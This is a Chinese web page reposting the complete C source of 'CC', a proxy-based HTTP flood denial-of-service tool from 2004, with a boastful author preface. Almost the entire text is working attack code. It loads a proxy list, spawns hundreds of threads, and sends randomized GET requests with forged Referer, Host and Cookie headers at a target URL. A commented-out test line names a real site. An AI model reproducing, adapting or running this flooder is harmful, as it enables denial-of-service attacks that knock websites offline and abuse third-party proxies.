| 关键词: nbsp printf pnow char NULL struct Sproxy sendcount return THREAD |
作者:欧欧鼠 //庆祝新年,05年不准备放代码了,现在把CPD代码发布出来//懂行的看门道,你不是高手就别看了,看了你也不会。这么厉害的东西。不是菜鸟用的。//怪狗过些天有时间改改。#include <winsock.h>#include <string.h>#include <stdio.h>#include <time.h>#pragma comment(lib,"wsock32")#define WAVERS MAKEWORD(2,0)#define DEF_DELAY 5#define DEF_FILE "cc.txt"#define DEF_THREAD 300#define DEF_MAXSEND 10000#define DEF_REF "http://www.n-ku.com/blog/blog.asp?name=bigboyq"#define VER "2.0"struct Sproxy{ char host[128]; int port; struct Sproxy *next;};struct Sproxy *pnow; struct Sproxy *head; struct Sproxy *last;int mThread,nThread,stop,bh,bc;char *hostip=NULL,*refer=NULL,*hosts=NULL,*cook;FILE *fp;long int sendcount,lastcount;HANDLE hMutex = NULL;void usage(char* p){ printf("[+] New DDOS Tool CC v%s\n",VER); printf("[+] Welcome everyone to Visit http://www.n-ku.com/blog/blog.asp?name=bigboyq\n"); printf("[+] More Support Please Contact QQ:167110 or E-mail:[email protected]\n"); printf("[+] USAGE:%s [OPTION]\n",p); printf("[+] [-c <COOKIE>] Cookie of HTTP to Use\n"); printf("[+] [-d <Delay>] Set Time to Delay DEFAULT:%d\n",DEF_DELAY); printf("[+] [-f <ProxyFile>] Load Proxy From File DEFAULT:%s\n",DEF_FILE); printf("[+] [-m <MaxSend>] Set a Value that you want to Send DEFAULT:%d\n",DEF_MAXSEND); printf("[+] [-r <Refer>] Refer of HTTP Refer\n[+] DEFAULT:%s\n",DEF_REF); printf("[+] [-s <HOST>] HOST of HTTP\n"); printf("[+] [-t <Thread>] Set Thread to Use DEFAULT:%d\n",DEF_THREAD); printf("[+] <-h <HTTPURL>> HTTP Request,you must Start with http://\n"); printf("[+] EASYUSAGE:%s <-h HTTPURL>\n",p);} void ProcExit(){ //发消息让线程停止 stop=1; printf("[+] Begin Exit,Please Wait Thread to End...\n"); //等待线程停止 while(nThread>0) Sleep(2000); //释放代理列表 pnow=head; pnow=last; pnow=pnow->next; printf("[+] Thread Exit OK!Freeing Memory...\n"); while(pnow!=head) { last=pnow->next; free(pnow); pnow=last; } free(pnow); printf("[+] Program Exit Success!\n"); printf("[+] See you again!\n"); exit(1);}int NetInit(){ WSADATA wsadata; int err; err=WSAStartup(WAVERS,&wsadata); return err;}char* gethttp(int j){ int i,ct; char *buf,*temp=NULL,*thost,*head=NULL; char *rc=NULL; char rdc[1024]; int ascs,ascw; srand((unsigned)time( NULL )+j); thost=(char *)malloc(1024); buf = (char *)malloc(1024); head=thost; memset(thost,0,1024); memset(buf,0,512); strcpy(thost,hostip); temp="GET "; strcat(buf,temp); ascs=0;ascw=0; rc=strchr(thost,'+'); while(rc) { rc[0]='\0'; strcat(buf,thost); ct=rc[2]-48; switch(rc[1]) { case 's': ascs=97; ascw=26; break; case 'S': ascs=65; ascw=26; break; case 'n': case 'N': ascs=48; ascw=10; break; } for(i=0;i<ct;i++) rdc[i]=(char)(ascs+rand()%ascw); rdc[ct]='\0'; strcat(buf,rdc); thost=&rc[3]; rc=strchr(thost,'+'); } strcat(buf,thost); temp=" HTTP/1.1\r\n"; strcat(buf,temp); temp="Accept: */*\r\nReferer: "; strcat(buf,temp); strcat(buf,refer); temp="\r\nAccept-Language: zh-cn\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0; .NET CLR 1.1.4322)\r\n"; strcat(buf,temp); if (bh==1) { temp="HOST: "; strcat(buf,temp); strcat(buf,hosts); temp="\r\n"; strcat(buf,temp); } if (bc==1) { temp="Cookie: "; strcat(buf,temp); strcat(buf,cook); temp="\r\n"; strcat(buf,temp); } temp="Proxy-Connection: Keep-Alive\r\n\r\n"; strcat(buf,temp); free(head); free(temp); return buf;}DWORD WINAPI Flood(LPVOID i){ char buf[512]; int err; char *fhost=NULL; sockaddr_in sin; SOCKET sock; WaitForSingleObject(hMutex,INFINITE); nThread++; ReleaseMutex(hMutex); while(stop==1) { Sleep(1000); } while(stop==0) { //这样锁? WaitForSingleObject(hMutex,INFINITE); pnow=pnow->next; sin.sin_port=htons(pnow->port); sin.sin_addr.s_addr=inet_addr(pnow->host); memset(buf,0,512); fhost=gethttp((int)i); strcat(buf,fhost); free(fhost); ReleaseMutex(hMutex); sin.sin_family=AF_INET; sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if (sock==INVALID_SOCKET) { printf("[-] Thread Create SOCK Failed\n"); return 0; } if (connect(sock,(sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR) { } else { WaitForSingleObject(hMutex,INFINITE); sendcount++; ReleaseMutex(hMutex); err=send(sock,buf,sizeof(buf),0); } closesocket(sock); } WaitForSingleObject(hMutex,INFINITE); nThread--; ReleaseMutex(hMutex); free(buf); return 1;} int main(int argc, char *argv[]){ int i,ti,delay; long int maxsend; char *filename=NULL; char fdata[128]; char mao=':'; char *mp; /* hosts="www.n-ku.com"; refer="www.fz.fj.cn"; hostip="http://www.fz.fj.cn/list.asp?id=+s1+n1+S1"; printf("%s\n",gethttp(1)); return 1; */ bh=0;bc=0; if(argc < 3) { printf("[-] Need Option!!!\n"); usage(argv[0]); return 1; } mThread=DEF_THREAD; filename=DEF_FILE; delay=DEF_DELAY; maxsend=DEF_MAXSEND; refer=DEF_REF; for(i=1;i<argc;i+=2) { if(strlen(argv[i]) != 2) { printf("[-] Option Unknow!!!\n"); usage(argv[0]); return 1; } // check parameter if(i == argc-1) { printf("[-] Option Error!!!\n"); usage(argv[0]); return 1; } switch(argv[i][1]) { case 'h': hostip = argv[i+1]; break; case 'd': delay = atoi(argv[i+1]); break; case 't': mThread = atoi(argv[i+1]); break; case 'f': filename = argv[i+1]; break; case 'm': maxsend = atoi(argv[i+1]); break; case 'r': refer=argv[i+1]; break; case 's': hosts=argv[i+1]; bh=1; break; case 'c': cook=argv[i+1]; bc=1; break; } } if(hostip == NULL) { printf("[-] Please Enter HTTP URL!\r\n"); return 1; } if (mThread<1||mThread>1900) { printf("[-] Thread [%d] must Between [1-1900]\n",mThread); return 1; } fp=fopen(filename, "r"); if(fp==NULL) { printf("[-] Filename [%s] open Failed!\n",filename); return 1; } //读取代理部分 memset(fdata,0,128); pnow=(struct Sproxy*)malloc(sizeof(struct Sproxy)); head=pnow; last=pnow; while(fscanf(fp,"%s",fdata)!=-1) { pnow=(struct Sproxy*)malloc(sizeof(struct Sproxy)); memset(pnow->host,0,128); last->next=pnow; last=pnow; mp=strrchr(fdata,mao); mp[0]='\0'; strcat(pnow->host ,fdata); mp++; pnow->port=atoi(mp); } last=head; head=head->next; pnow->next=head; free(last); fclose(fp); printf("[+] Proxy Load Success [%s]!\n",filename); //代理读取结束,启动网络 if (NetInit()!=0) { printf("[-] WSAStartup Failed!\n"); return 1; } printf("[+] WSAStartup Success!\n[*] Wait for Threads Begin["); //Now Begin Thread stop=1;ti=0; hMutex = CreateMutex(NULL, FALSE, NULL); for (i=0;i<mThread;i++) { CreateThread(0, 0, Flood, (void*)i, 0, 0); if ((i/50)*50==i) printf("."); } Sleep(500); printf("]\n[+] [%d] Threads Started!\n[+] Attacking [%s]\n",nThread,hostip); stop=0; Sleep(delay*1000); while(sendcount<maxsend) { ti++; printf("[+] Finish: [%d%%] C Avg.Speed: [%d] C/S Now: [%d] C/S\n",(sendcount*100)/maxsend,sendcount/(delay*ti),(sendcount-lastcount)/delay); lastcount=sendcount; Sleep(delay*1000); } ProcExit(); return 1;}/*Thanks to everyone's Supportif you like it,please tell me [email protected] you change it,please share your codeif you use this code,please keep my name Thank you 12.31.2004*/ |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|